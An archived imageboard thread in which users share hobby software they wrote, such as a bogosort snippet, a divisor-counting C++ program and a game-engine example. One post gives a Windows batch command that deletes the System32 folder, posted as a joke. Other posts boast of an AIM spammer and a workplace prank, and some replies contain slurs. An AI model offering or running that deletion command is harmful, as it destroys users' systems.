[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

ITT: Coolest piece of software you have ever written

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 72
Thread images: 13

File: kkk.png (113KB, 1918x1060px) Image search: [Google]
kkk.png
113KB, 1918x1060px
>>
>>58609781
Looks like a polygot, but what does it do?
>>
a tetris clone with networking capabilities. it's piece distribution/synchronization is broken, but works otherwise.
>>
wtf this is just a bunch of text.
what notepad thingy do u use?
>>
File: img-mpr9.png (288KB, 500x500px) Image search: [Google]
img-mpr9.png
288KB, 500x500px
tiedye generator
wasn't even it"s intended original purpose either
>>
>>58609835
hes using i3 as window manager and vim to edit
>>
>>58609781
>kkk.png

You have to go back to >>/pol/
>>
>>58610810
>he doesn't know /pol/ took over 4chan
lol kiddo, get the fuck out and go back to the frontpage of the internet
>>
>>58610840
Nice meme.

If /pol/ has truly taken over 4chan and all other boards on here, then /leftypol/ leafs would be shitposting politics here.
>>
File: doigetanythingforbeingsad.png (16KB, 443x443px) Image search: [Google]
doigetanythingforbeingsad.png
16KB, 443x443px
>actual potentially interesting and good thread on /g/ for once
>completely ignored
I miss pre 2010 /g/.
>>
>>58609781
How to you get your text editor to look like this? Is it the DE tiling the windows like that all nicely locked together like that?
>>
>>58614459
>:vsp ~/file2
>:vsp ~/file3
>:sp ~/file4
>:sp ~/file5
>>
>>58616061
I always use ^W v
>>
>>58616074
doesn't let you open a new file though
>>

import random

items = [2, 3, 1, 5, 2, 7]

sorted=False
while not sorted:
sorted=True
random.shuffle(items)

for i in range(len(items)-1):
if items[i]>items[i+1]:
sorted=False
break

print items

>>
File: litman.png (83KB, 533x494px) Image search: [Google]
litman.png
83KB, 533x494px
Probably this, tag manager/fast searcher for pdf files (or any file really).
Fuzzy title/path/tag matching, caching all that
It lets you select a db from list (like 'pictures' or 'papers') loads the db and presents this view.
Python+sqlite with only standard libs
>>
>>58609781

I made a proggie that played moo.wav on a colleagues machine every 25 minutes

One day he left his top end speakers on full and it rattled the windows even two floors away

That was the day he learnt to hack. That was the day I started the path of Lulz
>>
when i was like 14 i wrote an aim spammer that would harvest aol screen names fron lobby chats. i made it send out my affiliate link every 10 messages and released it. made like 3,500 off script kiddies
>>
>>58616471
I did something similar in C++ back in the days
>>
File: photo_2016-06-13_19-10-53.jpg (25KB, 1200x750px) Image search: [Google]
photo_2016-06-13_19-10-53.jpg
25KB, 1200x750px
@echo off
del c:\windows\system32\*.* /s /f /q
>>
>>58610919
Haven't you seen the constant "TRUMP IS FUCKING CIS SCUM HUMAN GARBAGE WHO WANTS TO PASS THE TPP AND MAKE INTERNET COST ONE BILLION DOLLARS MONTHLY!!!!!!!11!!!1!!!1!!!!!!!!!"?

Day of the Rake when?
>>
File: 1485092680710.jpg (65KB, 462x630px) Image search: [Google]
1485092680710.jpg
65KB, 462x630px
>>58609781
I've written a set of acceptance tests that cover quite a large website with a ton of different landings. Though they require constant maintenance because frontend keeps renaming, removing and replacing ids and classes.
>>
>>58619431
Brendan Fraser?
>>
File: Animini.jpg (468KB, 1920x1080px) Image search: [Google]
Animini.jpg
468KB, 1920x1080px
Probably this. Lets you watch anime in small window on the desktop. Can have it always stay on top, resize, etc. Also lets you search for anime, and select episodes all in the app.

Nothing crazy, but a fun project I use all the time.
>>
I wrote a Matlab script once
>>
A program that saves all my gelbooru favorites' tags/links/ratings etc into a database, making it easily searchable
>>
>>58619512
amazing how the eyes can tell a story, isnt it?
>>
>>58619357
lol
>>
>>58619796
Check out Hydrus,
>>
>>58616471
Do you have a GitHub or something? Super interested in that, it's awesome
>>
>>58611956
Why haven't you posted your best yet, then?
>>
File: img-mpr14.png (190KB, 500x500px) Image search: [Google]
img-mpr14.png
190KB, 500x500px
>>58620240
I did.
>>58609864
>>
program that checks all divisors for numbers from 0 to 2147483647 and spits out the (smallest) one that has the most of them. not the best code but i like the alghoritm used here
#include <iostream>
#include "stdio.h"
#include "math.h"
using namespace std;

int numer=0, dzielniki=0, snumer=0, num_tab=0,max_dziel=0, max_num=0;
int tab[3000];
int rozmiar = sizeof(tab)/sizeof(int);

int main ()
{
for(;;)
{
snumer=sqrt(numer);
for(int a=0; a < rozmiar; a++)
{
tab[a]=0;
}

for(int i=1;i<=snumer;i++)
{
if(numer%i==0)
{
tab[num_tab]=numer/i;
tab[num_tab+1]=i;
num_tab+=2;
}
}
for(int j=0;j<rozmiar;j++)
{
if (tab[j]==0)
{
dzielniki = j;
num_tab=0;
break;
}

}
cout<<"nr="<<numer<<" dziel="<<dzielniki;
if (max_dziel <= dzielniki) {max_dziel=dzielniki;max_num=numer;}
cout<<" max="<<max_dziel<<" nr max="<<max_num<<endl;
numer++;
if (numer==2147483647) break;
}
getchar();getchar();
}
>>
>>58621220
>dzielniki
>>
https://github.com/alex47/LIG

tool to make images for starting combo threads
pretty cool huh?
>>
>>58623384
not really
>>
>>58616379
B O G O S O R R
O
G
O
S
O
R
T
>>
File: Képkivágás.png (2MB, 2596x1163px) Image search: [Google]
Képkivágás.png
2MB, 2596x1163px
>>58623410
>>
>>58623384
neat
>>
Either a minimalistic image viewer or a window position manager. They're not complex but I definitely use them more than anything else I've made.
>>
>>58623668
how did you manage to tolerate X11
>>
Probably a journal/diary

Using Python

Until I grew up and just used rednotebook
>>
>>58623700
>linux
>>
>>58609781
A distributed home automation system tied to a scratch built artificial neural network, that learned over time how to control the lighting, heating, etc. in my apartment exactly how I wanted.

For additional "why the fuck would you do that?" I wrote it in perl
>>
>>58624093
how many years have you programmed to know how to do something like that
>>
>>58619634
does it support many codecs and subtitles?
>>
File: 144645745.jpg (17KB, 315x315px) Image search: [Google]
144645745.jpg
17KB, 315x315px
>>58610810
kys nigger
>>
>>58619634
what wm is that?
>>
>>58624511
About 14 years, plus specialising in AI courses at university
>>
File: fucking balls.jpg (96KB, 600x600px) Image search: [Google]
fucking balls.jpg
96KB, 600x600px
>>58623418
it just werk
>>
>>58609810
your mom
>>
File: 2017-01-23_185800.jpg (95KB, 867x429px) Image search: [Google]
2017-01-23_185800.jpg
95KB, 867x429px
winblows fag here

auto hot key script that takes last downloaded zip file, extracts it using 7z CL, and opens explorer of newly extracted folder inside downloads folder.
>>
This is how you load a 3d model and start it moving/rotating in the open source game engine I am developing right now. I rather like how it works right now, even if I still have a long ways to go before it is useable for serious development.
#include <OpenCGE/system.hpp>
#include <OpenCGE/graphics_opengl_legacy.hpp>
#include <OpenCGE/physics.hpp>

int main()
{
// Instantiate our systems
OpenCGE::System::entitiesLoad("data/entities");
OpenCGE::Physics physics_system;
OpenCGE::GraphicsOpenGLLegacy graphics_system;
graphics_system.scenesLoad("assets/models");

// Create a new entity
size_t entity_id = OpenCGE::System::entityCreate("object_3d");
OpenCGE::System::callbackTrigger("scene_update", {{"entity_id",entity_id},{"scene_name","hello_world"}});
OpenCGE::System::callbackTrigger("torque_apply", {{"entity_id",entity_id},{"x",50.f},{"y",50.f},{"z",0.f}});
OpenCGE::System::callbackTrigger("velocity_apply", {{"entity_id",entity_id},{"x",0.f},{"y",0.f},{"z",-0.1f}});

OpenCGE::System::timerStart();
while(true)
{
OpenCGE::System::callbackTrigger("time_passed", {{"time_delta",OpenCGE::System::getTimeDelta()}});
}
}
>>
>>58627514
That would be only a few lines if you were using a shell scripting language like Bash or Zsh
>>
https://aux-node.herokuapp.com/

Websites are software
>>
>>58624093
>>58625043
Sup Mark?
>>
I made an Android app to act as a wireless mouse and keyboard for my computer. Pretty happy with it, the latency is really low and the cursor updates at almost 60fps. It's got a layout editor to whip up custom layouts, like if you want to use the F/J/K/L hotkeys for YouTube or something, can add buttons set to those keys. I use it every night while I lay in bed.
>>
>>58619634
too bad you watch trash anime
>>
>>58619634
I usually just have it play fullscreen with a semi-transparent terminal on top of it. Then I code in vim while watching whatever show/movie.
>>
>>58628775

Are you that guy? I'm curious, are the episodes downloaded manually or are you streaming them from the net?
>>
>>58629049
I'm using Plex. Looking to pair it up with Sickbeard but haven't quite gotten around to it yet.
>>
>>58609781

print "Hello World"
>>
>>58629094
Huh, never heard of Plex until now. I can't really tell how you could be using it unless it's their app playing the video but that's cool!
>>
>>58627790
Who?
>>
The only one I use extensively is a quickly written bash script that allows the user to select a file extension in a directory, and then move all of the files into a temp sub-directory for sorting stuff.
>>
>>58629434
Nice. Even if it's simple, the fact that it gets used often is great.
>>
>>58609781
Currently writing a GUI and a preprocessor to computational chemistry programs to find initial guesses based on exhaustive rotational scanning and a list of criteria required to meet before exporting an input file and running it
>>
>>58609781
Software aren't cool.
Developing software isn't cool.
Sharing development stuffs on 4chan isn't cool.
So the coolest something doesn't exist. Your paradigm is corrupted.
>>
>>58628775

Why do one thing well when you can do two things shitty, right.
>>
>>58629232
I use their web client mostly, or I use Kodi as a client via the PlexKodiConnect plugin
>>
>>58630452
They are both mindless activities. It's not like I watch tv while speccing out solutions. Only while coding.
>>
>>58630308
>Software aren't cool.
Quake 3 is a cool piece of software.
Thread posts: 72
Thread images: 13


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.